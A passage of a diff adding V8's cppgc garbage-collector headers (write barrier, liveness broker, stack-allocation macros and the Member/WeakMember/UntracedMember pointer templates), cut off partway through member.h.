GenerationalBarrierSlow(local_data, age_table, slot, params.value_offset,
|
||||
params.heap);
|
||||
} else if constexpr (type ==
|
||||
GenerationalBarrierType::kPreciseUncompressedSlot) {
|
||||
GenerationalBarrierForUncompressedSlotSlow(
|
||||
local_data, age_table, slot, params.value_offset, params.heap);
|
||||
} else {
|
||||
GenerationalBarrierForSourceObjectSlow(local_data, slot, params.heap);
|
||||
}
|
||||
}
|
||||
|
||||
#endif // !CPPGC_YOUNG_GENERATION
|
||||
|
||||
} // namespace internal
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_INTERNAL_WRITE_BARRIER_H_
|
||||
@@ -0,0 +1,78 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_LIVENESS_BROKER_H_
|
||||
#define INCLUDE_CPPGC_LIVENESS_BROKER_H_
|
||||
|
||||
#include "cppgc/heap.h"
|
||||
#include "cppgc/member.h"
|
||||
#include "cppgc/sentinel-pointer.h"
|
||||
#include "cppgc/trace-trait.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
namespace internal {
|
||||
class LivenessBrokerFactory;
|
||||
} // namespace internal
|
||||
|
||||
/**
|
||||
* The broker is passed to weak callbacks to allow (temporarily) querying
|
||||
* the liveness state of an object. References to non-live objects must be
|
||||
* cleared when `IsHeapObjectAlive()` returns false.
|
||||
*
|
||||
* \code
|
||||
* class GCedWithCustomWeakCallback final
|
||||
* : public GarbageCollected<GCedWithCustomWeakCallback> {
|
||||
* public:
|
||||
* UntracedMember<Bar> bar;
|
||||
*
|
||||
* void CustomWeakCallbackMethod(const LivenessBroker& broker) {
|
||||
* if (!broker.IsHeapObjectAlive(bar))
|
||||
* bar = nullptr;
|
||||
* }
|
||||
*
|
||||
* void Trace(cppgc::Visitor* visitor) const {
|
||||
* visitor->RegisterWeakCallbackMethod<
|
||||
* GCedWithCustomWeakCallback,
|
||||
* &GCedWithCustomWeakCallback::CustomWeakCallbackMethod>(this);
|
||||
* }
|
||||
* };
|
||||
* \endcode
|
||||
*/
|
||||
class V8_EXPORT LivenessBroker final {
|
||||
public:
|
||||
template <typename T>
|
||||
bool IsHeapObjectAlive(const T* object) const {
|
||||
// - nullptr objects are considered alive to allow weakness to be used from
|
||||
// stack while running into a conservative GC. Treating nullptr as dead
|
||||
// would mean that e.g. custom collections could not be strongified on
|
||||
// stack.
|
||||
// - Sentinel pointers are also preserved in weakness and not cleared.
|
||||
return !object || object == kSentinelPointer ||
|
||||
IsHeapObjectAliveImpl(
|
||||
TraceTrait<T>::GetTraceDescriptor(object).base_object_payload);
|
||||
}
|
||||
|
||||
template <typename T>
|
||||
bool IsHeapObjectAlive(const WeakMember<T>& weak_member) const {
|
||||
return IsHeapObjectAlive<T>(weak_member.Get());
|
||||
}
|
||||
|
||||
template <typename T>
|
||||
bool IsHeapObjectAlive(const UntracedMember<T>& untraced_member) const {
|
||||
return IsHeapObjectAlive<T>(untraced_member.Get());
|
||||
}
|
||||
|
||||
private:
|
||||
LivenessBroker() = default;
|
||||
|
||||
bool IsHeapObjectAliveImpl(const void*) const;
|
||||
|
||||
friend class internal::LivenessBrokerFactory;
|
||||
};
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_LIVENESS_BROKER_H_
|
||||
@@ -0,0 +1,35 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_MACROS_H_
|
||||
#define INCLUDE_CPPGC_MACROS_H_
|
||||
|
||||
#include <cstddef>
|
||||
|
||||
#include "cppgc/internal/compiler-specific.h"
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
// Use CPPGC_STACK_ALLOCATED if the object is only stack allocated.
|
||||
// Add the CPPGC_STACK_ALLOCATED_IGNORE annotation on a case-by-case basis when
|
||||
// enforcement of CPPGC_STACK_ALLOCATED should be suppressed.
|
||||
#if defined(__clang__)
|
||||
#define CPPGC_STACK_ALLOCATED() \
|
||||
public: \
|
||||
using IsStackAllocatedTypeMarker CPPGC_UNUSED = int; \
|
||||
\
|
||||
private: \
|
||||
void* operator new(size_t) = delete; \
|
||||
void* operator new(size_t, void*) = delete; \
|
||||
static_assert(true, "Force semicolon.")
|
||||
#define CPPGC_STACK_ALLOCATED_IGNORE(bug_or_reason) \
|
||||
__attribute__((annotate("stack_allocated_ignore")))
|
||||
#else // !defined(__clang__)
|
||||
#define CPPGC_STACK_ALLOCATED() static_assert(true, "Force semicolon.")
|
||||
#define CPPGC_STACK_ALLOCATED_IGNORE(bug_or_reason)
|
||||
#endif // !defined(__clang__)
|
||||
|
||||
} // namespace cppgc
|
||||
|
||||
#endif // INCLUDE_CPPGC_MACROS_H_
|
||||
@@ -0,0 +1,604 @@
|
||||
// Copyright 2020 the V8 project authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style license that can be
|
||||
// found in the LICENSE file.
|
||||
|
||||
#ifndef INCLUDE_CPPGC_MEMBER_H_
|
||||
#define INCLUDE_CPPGC_MEMBER_H_
|
||||
|
||||
#include <atomic>
|
||||
#include <cstddef>
|
||||
#include <type_traits>
|
||||
|
||||
#include "cppgc/internal/api-constants.h"
|
||||
#include "cppgc/internal/member-storage.h"
|
||||
#include "cppgc/internal/pointer-policies.h"
|
||||
#include "cppgc/sentinel-pointer.h"
|
||||
#include "cppgc/type-traits.h"
|
||||
#include "v8config.h" // NOLINT(build/include_directory)
|
||||
|
||||
namespace cppgc {
|
||||
|
||||
namespace subtle {
|
||||
class HeapConsistency;
|
||||
} // namespace subtle
|
||||
|
||||
class Visitor;
|
||||
|
||||
namespace internal {
|
||||
|
||||
// MemberBase always refers to the object as const object and defers to
|
||||
// BasicMember on casting to the right type as needed.
|
||||
template <typename StorageType>
|
||||
class V8_TRIVIAL_ABI MemberBase {
|
||||
public:
|
||||
using RawStorage = StorageType;
|
||||
|
||||
protected:
|
||||
struct AtomicInitializerTag {};
|
||||
|
||||
V8_INLINE MemberBase() = default;
|
||||
V8_INLINE explicit MemberBase(const void* value) : raw_(value) {}
|
||||
V8_INLINE MemberBase(const void* value, AtomicInitializerTag) {
|
||||
SetRawAtomic(value);
|
||||
}
|
||||
|
||||
V8_INLINE explicit MemberBase(RawStorage raw) : raw_(raw) {}
|
||||
V8_INLINE explicit MemberBase(std::nullptr_t) : raw_(nullptr) {}
|
||||
V8_INLINE explicit MemberBase(SentinelPointer s) : raw_(s) {}
|
||||
|
||||
V8_INLINE const void** GetRawSlot() const {
|
||||
return reinterpret_cast<const void**>(const_cast<MemberBase*>(this));
|
||||
}
|
||||
V8_INLINE const void* GetRaw() const { return raw_.Load(); }
|
||||
V8_INLINE void SetRaw(void* value) { raw_.Store(value); }
|
||||
|
||||
V8_INLINE const void* GetRawAtomic() const { return raw_.LoadAtomic(); }
|
||||
V8_INLINE void SetRawAtomic(const void* value) { raw_.StoreAtomic(value); }
|
||||
|
||||
V8_INLINE RawStorage GetRawStorage() const { return raw_; }
|
||||
V8_INLINE void SetRawStorageAtomic(RawStorage other) {
|
||||
reinterpret_cast<std::atomic<RawStorage>&>(raw_).store(
|
||||
other, std::memory_order_relaxed);
|
||||
}
|
||||
|
||||
V8_INLINE bool IsCleared() const { return raw_.IsCleared(); }
|
||||
|
||||
V8_INLINE void ClearFromGC() const { raw_.Clear(); }
|
||||
|
||||
private:
|
||||
friend class MemberDebugHelper;
|
||||
|
||||
mutable RawStorage raw_;
|
||||
};
|
||||
|
||||
// The basic class from which all Member classes are 'generated'.
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
class V8_TRIVIAL_ABI BasicMember final : private MemberBase<StorageType>,
|
||||
private CheckingPolicy {
|
||||
using Base = MemberBase<StorageType>;
|
||||
|
||||
public:
|
||||
using PointeeType = T;
|
||||
using RawStorage = typename Base::RawStorage;
|
||||
|
||||
V8_INLINE constexpr BasicMember() = default;
|
||||
V8_INLINE constexpr BasicMember(std::nullptr_t) {} // NOLINT
|
||||
V8_INLINE BasicMember(SentinelPointer s) : Base(s) {} // NOLINT
|
||||
V8_INLINE BasicMember(T* raw) : Base(raw) { // NOLINT
|
||||
InitializingWriteBarrier(raw);
|
||||
this->CheckPointer(Get());
|
||||
}
|
||||
V8_INLINE BasicMember(T& raw) // NOLINT
|
||||
: BasicMember(&raw) {}
|
||||
|
||||
// Atomic ctor. Using the AtomicInitializerTag forces BasicMember to
|
||||
// initialize using atomic assignments. This is required for preventing
|
||||
// data races with concurrent marking.
|
||||
using AtomicInitializerTag = typename Base::AtomicInitializerTag;
|
||||
V8_INLINE BasicMember(std::nullptr_t, AtomicInitializerTag atomic)
|
||||
: Base(nullptr, atomic) {}
|
||||
V8_INLINE BasicMember(SentinelPointer s, AtomicInitializerTag atomic)
|
||||
: Base(s, atomic) {}
|
||||
V8_INLINE BasicMember(T* raw, AtomicInitializerTag atomic)
|
||||
: Base(raw, atomic) {
|
||||
InitializingWriteBarrier(raw);
|
||||
this->CheckPointer(Get());
|
||||
}
|
||||
V8_INLINE BasicMember(T& raw, AtomicInitializerTag atomic)
|
||||
: BasicMember(&raw, atomic) {}
|
||||
|
||||
// Copy ctor.
|
||||
V8_INLINE BasicMember(const BasicMember& other)
|
||||
: BasicMember(other.GetRawStorage()) {}
|
||||
|
||||
// Heterogeneous copy constructors. When the source pointer have a different
|
||||
// type, perform a compress-decompress round, because the source pointer may
|
||||
// need to be adjusted.
|
||||
template <typename U, typename OtherBarrierPolicy, typename OtherWeaknessTag,
|
||||
typename OtherCheckingPolicy,
|
||||
std::enable_if_t<internal::IsDecayedSameV<T, U>>* = nullptr>
|
||||
V8_INLINE BasicMember( // NOLINT
|
||||
const BasicMember<U, OtherWeaknessTag, OtherBarrierPolicy,
|
||||
OtherCheckingPolicy, StorageType>& other)
|
||||
: BasicMember(other.GetRawStorage()) {}
|
||||
|
||||
template <typename U, typename OtherBarrierPolicy, typename OtherWeaknessTag,
|
||||
typename OtherCheckingPolicy,
|
||||
std::enable_if_t<internal::IsStrictlyBaseOfV<T, U>>* = nullptr>
|
||||
V8_INLINE BasicMember( // NOLINT
|
||||
const BasicMember<U, OtherWeaknessTag, OtherBarrierPolicy,
|
||||
OtherCheckingPolicy, StorageType>& other)
|
||||
: BasicMember(other.Get()) {}
|
||||
|
||||
// Move ctor.
|
||||
V8_INLINE BasicMember(BasicMember&& other) noexcept
|
||||
: BasicMember(other.GetRawStorage()) {
|
||||
other.Clear();
|
||||
}
|
||||
|
||||
// Heterogeneous move constructors. When the source pointer have a different
|
||||
// type, perform a compress-decompress round, because the source pointer may
|
||||
// need to be adjusted.
|
||||
template <typename U, typename OtherBarrierPolicy, typename OtherWeaknessTag,
|
||||
typename OtherCheckingPolicy,
|
||||
std::enable_if_t<internal::IsDecayedSameV<T, U>>* = nullptr>
|
||||
V8_INLINE BasicMember(
|
||||
BasicMember<U, OtherWeaknessTag, OtherBarrierPolicy, OtherCheckingPolicy,
|
||||
StorageType>&& other) noexcept
|
||||
: BasicMember(other.GetRawStorage()) {
|
||||
other.Clear();
|
||||
}
|
||||
|
||||
template <typename U, typename OtherBarrierPolicy, typename OtherWeaknessTag,
|
||||
typename OtherCheckingPolicy,
|
||||
std::enable_if_t<internal::IsStrictlyBaseOfV<T, U>>* = nullptr>
|
||||
V8_INLINE BasicMember(
|
||||
BasicMember<U, OtherWeaknessTag, OtherBarrierPolicy, OtherCheckingPolicy,
|
||||
StorageType>&& other) noexcept
|
||||
: BasicMember(other.Get()) {
|
||||
other.Clear();
|
||||
}
|
||||
|
||||
// Construction from Persistent.
|
||||
template <typename U, typename PersistentWeaknessPolicy,
|
||||
typename PersistentLocationPolicy,
|
||||
typename PersistentCheckingPolicy,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
V8_INLINE BasicMember(const BasicPersistent<U, PersistentWeaknessPolicy,
|
||||
PersistentLocationPolicy,
|
||||
PersistentCheckingPolicy>& p)
|
||||
: BasicMember(p.Get()) {}
|
||||
|
||||
// Copy assignment.
|
||||
V8_INLINE BasicMember& operator=(const BasicMember& other) {
|
||||
return operator=(other.GetRawStorage());
|
||||
}
|
||||
|
||||
// Heterogeneous copy assignment. When the source pointer have a different
|
||||
// type, perform a compress-decompress round, because the source pointer may
|
||||
// need to be adjusted.
|
||||
template <typename U, typename OtherWeaknessTag, typename OtherBarrierPolicy,
|
||||
typename OtherCheckingPolicy>
|
||||
V8_INLINE BasicMember& operator=(
|
||||
const BasicMember<U, OtherWeaknessTag, OtherBarrierPolicy,
|
||||
OtherCheckingPolicy, StorageType>& other) {
|
||||
if constexpr (internal::IsDecayedSameV<T, U>) {
|
||||
return operator=(other.GetRawStorage());
|
||||
} else {
|
||||
static_assert(internal::IsStrictlyBaseOfV<T, U>);
|
||||
return operator=(other.Get());
|
||||
}
|
||||
}
|
||||
|
||||
// Move assignment.
|
||||
V8_INLINE BasicMember& operator=(BasicMember&& other) noexcept {
|
||||
operator=(other.GetRawStorage());
|
||||
other.Clear();
|
||||
return *this;
|
||||
}
|
||||
|
||||
// Heterogeneous move assignment. When the source pointer have a different
|
||||
// type, perform a compress-decompress round, because the source pointer may
|
||||
// need to be adjusted.
|
||||
template <typename U, typename OtherWeaknessTag, typename OtherBarrierPolicy,
|
||||
typename OtherCheckingPolicy>
|
||||
V8_INLINE BasicMember& operator=(
|
||||
BasicMember<U, OtherWeaknessTag, OtherBarrierPolicy, OtherCheckingPolicy,
|
||||
StorageType>&& other) noexcept {
|
||||
if constexpr (internal::IsDecayedSameV<T, U>) {
|
||||
operator=(other.GetRawStorage());
|
||||
} else {
|
||||
static_assert(internal::IsStrictlyBaseOfV<T, U>);
|
||||
operator=(other.Get());
|
||||
}
|
||||
other.Clear();
|
||||
return *this;
|
||||
}
|
||||
|
||||
// Assignment from Persistent.
|
||||
template <typename U, typename PersistentWeaknessPolicy,
|
||||
typename PersistentLocationPolicy,
|
||||
typename PersistentCheckingPolicy,
|
||||
typename = std::enable_if_t<std::is_base_of<T, U>::value>>
|
||||
V8_INLINE BasicMember& operator=(
|
||||
const BasicPersistent<U, PersistentWeaknessPolicy,
|
||||
PersistentLocationPolicy, PersistentCheckingPolicy>&
|
||||
other) {
|
||||
return operator=(other.Get());
|
||||
}
|
||||
|
||||
V8_INLINE BasicMember& operator=(T* other) {
|
||||
Base::SetRawAtomic(other);
|
||||
AssigningWriteBarrier(other);
|
||||
this->CheckPointer(Get());
|
||||
return *this;
|
||||
}
|
||||
|
||||
V8_INLINE BasicMember& operator=(std::nullptr_t) {
|
||||
Clear();
|
||||
return *this;
|
||||
}
|
||||
V8_INLINE BasicMember& operator=(SentinelPointer s) {
|
||||
Base::SetRawAtomic(s);
|
||||
return *this;
|
||||
}
|
||||
|
||||
template <typename OtherWeaknessTag, typename OtherBarrierPolicy,
|
||||
typename OtherCheckingPolicy>
|
||||
V8_INLINE void Swap(BasicMember<T, OtherWeaknessTag, OtherBarrierPolicy,
|
||||
OtherCheckingPolicy, StorageType>& other) {
|
||||
auto tmp = GetRawStorage();
|
||||
*this = other;
|
||||
other = tmp;
|
||||
}
|
||||
|
||||
V8_INLINE explicit operator bool() const { return !Base::IsCleared(); }
|
||||
V8_INLINE operator T*() const { return Get(); }
|
||||
V8_INLINE T* operator->() const { return Get(); }
|
||||
V8_INLINE T& operator*() const { return *Get(); }
|
||||
|
||||
// CFI cast exemption to allow passing SentinelPointer through T* and support
|
||||
// heterogeneous assignments between different Member and Persistent handles
|
||||
// based on their actual types.
|
||||
V8_INLINE V8_CLANG_NO_SANITIZE("cfi-unrelated-cast") T* Get() const {
|
||||
// Executed by the mutator, hence non atomic load.
|
||||
//
|
||||
// The const_cast below removes the constness from MemberBase storage. The
|
||||
// following static_cast re-adds any constness if specified through the
|
||||
// user-visible template parameter T.
|
||||
return static_cast<T*>(const_cast<void*>(Base::GetRaw()));
|
||||
}
|
||||
|
||||
V8_INLINE void Clear() {
|
||||
Base::SetRawStorageAtomic(RawStorage{});
|
||||
}
|
||||
|
||||
V8_INLINE T* Release() {
|
||||
T* result = Get();
|
||||
Clear();
|
||||
return result;
|
||||
}
|
||||
|
||||
V8_INLINE const T** GetSlotForTesting() const {
|
||||
return reinterpret_cast<const T**>(Base::GetRawSlot());
|
||||
}
|
||||
|
||||
V8_INLINE RawStorage GetRawStorage() const {
|
||||
return Base::GetRawStorage();
|
||||
}
|
||||
|
||||
private:
|
||||
V8_INLINE explicit BasicMember(RawStorage raw) : Base(raw) {
|
||||
InitializingWriteBarrier(Get());
|
||||
this->CheckPointer(Get());
|
||||
}
|
||||
|
||||
V8_INLINE BasicMember& operator=(RawStorage other) {
|
||||
Base::SetRawStorageAtomic(other);
|
||||
AssigningWriteBarrier();
|
||||
this->CheckPointer(Get());
|
||||
return *this;
|
||||
}
|
||||
|
||||
V8_INLINE const T* GetRawAtomic() const {
|
||||
return static_cast<const T*>(Base::GetRawAtomic());
|
||||
}
|
||||
|
||||
V8_INLINE void InitializingWriteBarrier(T* value) const {
|
||||
WriteBarrierPolicy::InitializingBarrier(Base::GetRawSlot(), value);
|
||||
}
|
||||
V8_INLINE void AssigningWriteBarrier(T* value) const {
|
||||
WriteBarrierPolicy::template AssigningBarrier<
|
||||
StorageType::kWriteBarrierSlotType>(Base::GetRawSlot(), value);
|
||||
}
|
||||
V8_INLINE void AssigningWriteBarrier() const {
|
||||
WriteBarrierPolicy::template AssigningBarrier<
|
||||
StorageType::kWriteBarrierSlotType>(Base::GetRawSlot(),
|
||||
Base::GetRawStorage());
|
||||
}
|
||||
|
||||
V8_INLINE void ClearFromGC() const { Base::ClearFromGC(); }
|
||||
|
||||
V8_INLINE T* GetFromGC() const { return Get(); }
|
||||
|
||||
friend class cppgc::subtle::HeapConsistency;
|
||||
friend class cppgc::Visitor;
|
||||
template <typename U>
|
||||
friend struct cppgc::TraceTrait;
|
||||
template <typename T1, typename WeaknessTag1, typename WriteBarrierPolicy1,
|
||||
typename CheckingPolicy1, typename StorageType1>
|
||||
friend class BasicMember;
|
||||
};
|
||||
|
||||
// Member equality operators.
|
||||
template <typename T1, typename WeaknessTag1, typename WriteBarrierPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessTag2,
|
||||
typename WriteBarrierPolicy2, typename CheckingPolicy2,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator==(
|
||||
const BasicMember<T1, WeaknessTag1, WriteBarrierPolicy1, CheckingPolicy1,
|
||||
StorageType>& member1,
|
||||
const BasicMember<T2, WeaknessTag2, WriteBarrierPolicy2, CheckingPolicy2,
|
||||
StorageType>& member2) {
|
||||
if constexpr (internal::IsDecayedSameV<T1, T2>) {
|
||||
// Check compressed pointers if types are the same.
|
||||
return member1.GetRawStorage() == member2.GetRawStorage();
|
||||
} else {
|
||||
static_assert(internal::IsStrictlyBaseOfV<T1, T2> ||
|
||||
internal::IsStrictlyBaseOfV<T2, T1>);
|
||||
// Otherwise, check decompressed pointers.
|
||||
return member1.Get() == member2.Get();
|
||||
}
|
||||
}
|
||||
|
||||
template <typename T1, typename WeaknessTag1, typename WriteBarrierPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessTag2,
|
||||
typename WriteBarrierPolicy2, typename CheckingPolicy2,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator!=(
|
||||
const BasicMember<T1, WeaknessTag1, WriteBarrierPolicy1, CheckingPolicy1,
|
||||
StorageType>& member1,
|
||||
const BasicMember<T2, WeaknessTag2, WriteBarrierPolicy2, CheckingPolicy2,
|
||||
StorageType>& member2) {
|
||||
return !(member1 == member2);
|
||||
}
|
||||
|
||||
// Equality with raw pointers.
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType, typename U>
|
||||
V8_INLINE bool operator==(
|
||||
const BasicMember<T, WeaknessTag, WriteBarrierPolicy, CheckingPolicy,
|
||||
StorageType>& member,
|
||||
U* raw) {
|
||||
// Never allow comparison with erased pointers.
|
||||
static_assert(!internal::IsDecayedSameV<void, U>);
|
||||
|
||||
if constexpr (internal::IsDecayedSameV<T, U>) {
|
||||
// Check compressed pointers if types are the same.
|
||||
return member.GetRawStorage() == StorageType(raw);
|
||||
} else if constexpr (internal::IsStrictlyBaseOfV<T, U>) {
|
||||
// Cast the raw pointer to T, which may adjust the pointer.
|
||||
return member.GetRawStorage() == StorageType(static_cast<T*>(raw));
|
||||
} else {
|
||||
// Otherwise, decompressed the member.
|
||||
return member.Get() == raw;
|
||||
}
|
||||
}
|
||||
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType, typename U>
|
||||
V8_INLINE bool operator!=(
|
||||
const BasicMember<T, WeaknessTag, WriteBarrierPolicy, CheckingPolicy,
|
||||
StorageType>& member,
|
||||
U* raw) {
|
||||
return !(member == raw);
|
||||
}
|
||||
|
||||
template <typename T, typename U, typename WeaknessTag,
|
||||
typename WriteBarrierPolicy, typename CheckingPolicy,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator==(
|
||||
T* raw, const BasicMember<U, WeaknessTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>& member) {
|
||||
return member == raw;
|
||||
}
|
||||
|
||||
template <typename T, typename U, typename WeaknessTag,
|
||||
typename WriteBarrierPolicy, typename CheckingPolicy,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator!=(
|
||||
T* raw, const BasicMember<U, WeaknessTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>& member) {
|
||||
return !(raw == member);
|
||||
}
|
||||
|
||||
// Equality with sentinel.
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator==(
|
||||
const BasicMember<T, WeaknessTag, WriteBarrierPolicy, CheckingPolicy,
|
||||
StorageType>& member,
|
||||
SentinelPointer) {
|
||||
return member.GetRawStorage().IsSentinel();
|
||||
}
|
||||
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator!=(
|
||||
const BasicMember<T, WeaknessTag, WriteBarrierPolicy, CheckingPolicy,
|
||||
StorageType>& member,
|
||||
SentinelPointer s) {
|
||||
return !(member == s);
|
||||
}
|
||||
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator==(
|
||||
SentinelPointer s, const BasicMember<T, WeaknessTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>& member) {
|
||||
return member == s;
|
||||
}
|
||||
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator!=(
|
||||
SentinelPointer s, const BasicMember<T, WeaknessTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>& member) {
|
||||
return !(s == member);
|
||||
}
|
||||
|
||||
// Equality with nullptr.
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator==(
|
||||
const BasicMember<T, WeaknessTag, WriteBarrierPolicy, CheckingPolicy,
|
||||
StorageType>& member,
|
||||
std::nullptr_t) {
|
||||
return !static_cast<bool>(member);
|
||||
}
|
||||
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator!=(
|
||||
const BasicMember<T, WeaknessTag, WriteBarrierPolicy, CheckingPolicy,
|
||||
StorageType>& member,
|
||||
std::nullptr_t n) {
|
||||
return !(member == n);
|
||||
}
|
||||
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator==(
|
||||
std::nullptr_t n, const BasicMember<T, WeaknessTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>& member) {
|
||||
return member == n;
|
||||
}
|
||||
|
||||
template <typename T, typename WeaknessTag, typename WriteBarrierPolicy,
|
||||
typename CheckingPolicy, typename StorageType>
|
||||
V8_INLINE bool operator!=(
|
||||
std::nullptr_t n, const BasicMember<T, WeaknessTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>& member) {
|
||||
return !(n == member);
|
||||
}
|
||||
|
||||
// Relational operators.
|
||||
template <typename T1, typename WeaknessTag1, typename WriteBarrierPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessTag2,
|
||||
typename WriteBarrierPolicy2, typename CheckingPolicy2,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator<(
|
||||
const BasicMember<T1, WeaknessTag1, WriteBarrierPolicy1, CheckingPolicy1,
|
||||
StorageType>& member1,
|
||||
const BasicMember<T2, WeaknessTag2, WriteBarrierPolicy2, CheckingPolicy2,
|
||||
StorageType>& member2) {
|
||||
static_assert(
|
||||
internal::IsDecayedSameV<T1, T2>,
|
||||
"Comparison works only for same pointer type modulo cv-qualifiers");
|
||||
return member1.GetRawStorage() < member2.GetRawStorage();
|
||||
}
|
||||
|
||||
template <typename T1, typename WeaknessTag1, typename WriteBarrierPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessTag2,
|
||||
typename WriteBarrierPolicy2, typename CheckingPolicy2,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator<=(
|
||||
const BasicMember<T1, WeaknessTag1, WriteBarrierPolicy1, CheckingPolicy1,
|
||||
StorageType>& member1,
|
||||
const BasicMember<T2, WeaknessTag2, WriteBarrierPolicy2, CheckingPolicy2,
|
||||
StorageType>& member2) {
|
||||
static_assert(
|
||||
internal::IsDecayedSameV<T1, T2>,
|
||||
"Comparison works only for same pointer type modulo cv-qualifiers");
|
||||
return member1.GetRawStorage() <= member2.GetRawStorage();
|
||||
}
|
||||
|
||||
template <typename T1, typename WeaknessTag1, typename WriteBarrierPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessTag2,
|
||||
typename WriteBarrierPolicy2, typename CheckingPolicy2,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator>(
|
||||
const BasicMember<T1, WeaknessTag1, WriteBarrierPolicy1, CheckingPolicy1,
|
||||
StorageType>& member1,
|
||||
const BasicMember<T2, WeaknessTag2, WriteBarrierPolicy2, CheckingPolicy2,
|
||||
StorageType>& member2) {
|
||||
static_assert(
|
||||
internal::IsDecayedSameV<T1, T2>,
|
||||
"Comparison works only for same pointer type modulo cv-qualifiers");
|
||||
return member1.GetRawStorage() > member2.GetRawStorage();
|
||||
}
|
||||
|
||||
template <typename T1, typename WeaknessTag1, typename WriteBarrierPolicy1,
|
||||
typename CheckingPolicy1, typename T2, typename WeaknessTag2,
|
||||
typename WriteBarrierPolicy2, typename CheckingPolicy2,
|
||||
typename StorageType>
|
||||
V8_INLINE bool operator>=(
|
||||
const BasicMember<T1, WeaknessTag1, WriteBarrierPolicy1, CheckingPolicy1,
|
||||
StorageType>& member1,
|
||||
const BasicMember<T2, WeaknessTag2, WriteBarrierPolicy2, CheckingPolicy2,
|
||||
StorageType>& member2) {
|
||||
static_assert(
|
||||
internal::IsDecayedSameV<T1, T2>,
|
||||
"Comparison works only for same pointer type modulo cv-qualifiers");
|
||||
return member1.GetRawStorage() >= member2.GetRawStorage();
|
||||
}
|
||||
|
||||
template <typename T, typename WriteBarrierPolicy, typename CheckingPolicy,
|
||||
typename StorageType>
|
||||
struct IsWeak<internal::BasicMember<T, WeakMemberTag, WriteBarrierPolicy,
|
||||
CheckingPolicy, StorageType>>
|
||||
: std::true_type {};
|
||||
|
||||
} // namespace internal
|
||||
|
||||
/**
|
||||
* Members are used in classes to contain strong pointers to other garbage
|
||||
* collected objects. All Member fields of a class must be traced in the class'
|
||||
* trace method.
|
||||
*/
|
||||
template <typename T>
|
||||
using Member = internal::BasicMember<
|
||||
T, internal::StrongMemberTag, internal::DijkstraWriteBarrierPolicy,
|
||||
internal::DefaultMemberCheckingPolicy, internal::DefaultMemberStorage>;
|
||||
|
||||
/**
|
||||
* WeakMember is similar to Member in that it is used to point to other garbage
|
||||
* collected objects. However instead of creating a strong pointer to the
|
||||
* object, the WeakMember creates a weak pointer, which does not keep the
|
||||
* pointee alive. Hence if all pointers to to a heap allocated object are weak
|
||||
* the object will be garbage collected. At the time of GC the weak pointers
|
||||
* will automatically be set to null.
|
||||
*/
|
||||
template <typename T>
|
||||
using WeakMember = internal::BasicMember<
|
||||
T, internal::WeakMemberTag, internal::DijkstraWriteBarrierPolicy,
|
||||
internal::DefaultMemberCheckingPolicy, internal::DefaultMemberStorage>;
|
||||
|
||||
/**
|
||||
* UntracedMember is a pointer to an on-heap object that is not traced for some
|
||||
* reason. Do not use this unless you know what you are doing. Keeping raw
|
||||
* pointers to on-heap objects is prohibited unless used from stack. Pointee
|
||||
* must be kept alive through other means.
|
||||
*/
|
||||
template <typename T>
|
||||
using UntracedMember = internal::BasicMember<
|
||||
T, internal::UntracedMemberTag, internal::NoWriteBarrierPolicy,
|
||||
internal::DefaultMemberCheckingPolicy, internal::DefaultMemberStorage>;
|
||||
|
||||
namespace subtle {
|
||||
|
||||
/**
|
||||
* UncompressedMember. Use with care in hot paths that would otherwise cause
